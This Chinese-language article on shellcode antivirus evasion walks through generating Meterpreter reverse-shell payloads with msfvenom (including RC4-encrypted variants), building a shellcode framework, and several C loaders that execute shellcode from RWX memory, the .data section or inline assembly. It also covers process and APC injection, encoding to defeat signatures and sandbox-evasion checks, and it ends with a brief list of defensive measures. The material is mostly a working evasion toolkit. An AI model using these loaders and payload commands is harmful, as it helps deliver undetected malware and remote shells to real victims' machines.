Shellcode免杀思维分析
字数 1404 2025-08-11 17:40:24
Shellcode免杀技术深度解析
0x00 Shellcode基础概念
Shellcode定义:
- 一种恶意代码,用于劫持计算机内存中正在运行程序的正常流程
- 重定向流程以执行恶意代码而非正常程序
- 通常为低级编程代码形式的信标或有效载荷
- 常与漏洞利用结合使用的机器代码
Shellcode执行过程:
- 打开目标进程
- 在目标进程中分配内存
- 将shellcode写入分配的内存区域
- 创建新线程执行shellcode
Shellcode关键特征:
- 包含执行所需的所有指令且体积较小
- 内存中"位置独立"(无法预知加载位置)
- 不包含可能导致崩溃的内容(如空字符0x00)
- 能够使用注入技术搭载现有内存分配
0x01 Shellcode生成技术
MSFvenom生成
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<ip/hostname> LPORT=443 EXITFUNC=thread -f csharp
CS框架执行
git clone https://github.com/mai1zhi2/ShellCodeFramework
cd ShellCodeFramework
devenv ShellCodeFramework.sln /build "Debug|x64" /Project ShellCodeFramework
cd ./x64/Debug
.\ShellCodeFramework
0x02 Shellcode加载技术
1. WinAPI系统调用加载
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
int main() {
char shellcode[] = "你的shellcode";
void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
}
优点:
- 标准方法,可靠性高
- 内存区域可读可写可执行,便于修改shellcode
缺点:
- 容易被成熟的AV/EDR系统检测
2. 基于指针加载.data段(全局变量)
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO")
unsigned char buf[] = { 0xfc, 0x48, 0x83, /*...*/ };
int main() {
((void(*)()) &buf)();
}
3. text段加载(局部变量)
#include "windows.h"
#include "stdafx.h"
using namespace std;
int main(int argc, char **argv) {
unsigned char buf[] = { 0xfc, 0x48, 0x83, /*...*/ };
void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
return 0;
}
Linux系统注意:内核>5.4时,全局变量的shellcode会导致分段错误,需改为局部变量
4. 基于进程注入
- 制作免杀恶意DLL
- 注入到已运行进程中
- 编写回调函数立即执行恶意代码
- 将DLL绑定到注入程序资源段,封装为无害EXE
5. APC注入
- 让目标线程运行shellcode
- 前提:目标线程是alertable状态
6. 远程线程注入
- 使用反射加载程序注入内存中的DLL
- shellcode以字母数字形式生成
- 通过反向DNS TCP会话连接攻击者
7. 基于回调函数执行
- 通过Windows回调执行shellcode
- 系统将shellcode当做回调函数运行
- 在异常发生前shellcode已被执行
8. 基于汇编加载
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
unsigned char shellcode[] = "你的shellcode";
void main() {
__asm {
mov eax, offset shellcode
jmp eax
}
}
0x03 Shellcode传递技术
运行时检测绕过:
- 将加载程序与不同进程空间中的实际有效负载分离
- 避免直接执行函数指针指向的shellcode
DLL加载示例:
#include <iostream>
#include <Windows.h>
int main(void) {
HMODULE hMod = LoadLibrary("shellcode.dll");
if(hMod == nullptr) {
cout << "Failed to load shellcode.dll" << endl;
}
return 0;
}
0x04 Shellcode编码技术
1. XOR搭配其他加密方式
- 原始MSF shellcode容易被指纹识别
- 通过编码加密原始shellcode并包含解码例程
- 可使用XOR、凯撒密码、DES/AES等加密方式
凯撒密码示例:
# 加密
s = input('请输入要加密的字符串:')
k = int(input('请输入移位值:'))
s_encrypt = ''
for word in s:
if word == ' ':
word_encrypt = ' '
else:
word_encrypt = chr((ord(word) - ord('a') + k) % 26 + ord('a'))
s_encrypt += word_encrypt
print(s_encrypt)
# 解密
s = input('请输入要解密的字符串:')
k = int(input('请输入移位值:'))
s_decrypt = ''
for word in s:
if word == ' ':
word_decrypt = ' '
else:
word_decrypt = chr((ord(word) - ord('a') - k) % 26 + ord('a'))
s_decrypt += word_decrypt
print(s_decrypt)
2. MSFvenom加密shellcode
ruby ./msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 --encrypt rc4 --encrypt-key thisisakey -f c
注意:
- 加密可有效防止静态扫描
- 但运行后内存/行为监控仍可能被检测
3. 添加字符绕过检测
- 在shellcode前添加迷惑字符
- 替换敏感函数
- 欺骗杀软的hash值对比
4. 沙盒规避技术
- 验证PE文件名(沙盒可能更改EXE名)
- 验证机器主机名
- 向不存在的域发送Web请求
- 调用睡眠函数(沙盒可能快进)
- 检查不常见的Win32 API返回值
0x05 防御建议
-
静态检测防御:
- 加强签名检测能力
- 分析常见加密/编码模式
- 检测异常PE文件特征
-
动态检测防御:
- 监控内存分配行为(特别是RWX权限)
- 检测异常进程注入行为
- 分析API调用序列
-
行为检测防御:
- 监控异常网络连接
- 检测沙盒规避行为
- 分析代码执行流异常
-
系统加固:
- 启用控制流防护(CFG)
- 限制非必要的内存执行权限
- 及时修补系统漏洞
-
用户教育:
- 提高对可疑文件的认识
- 避免运行来源不明的程序
- 定期进行安全意识培训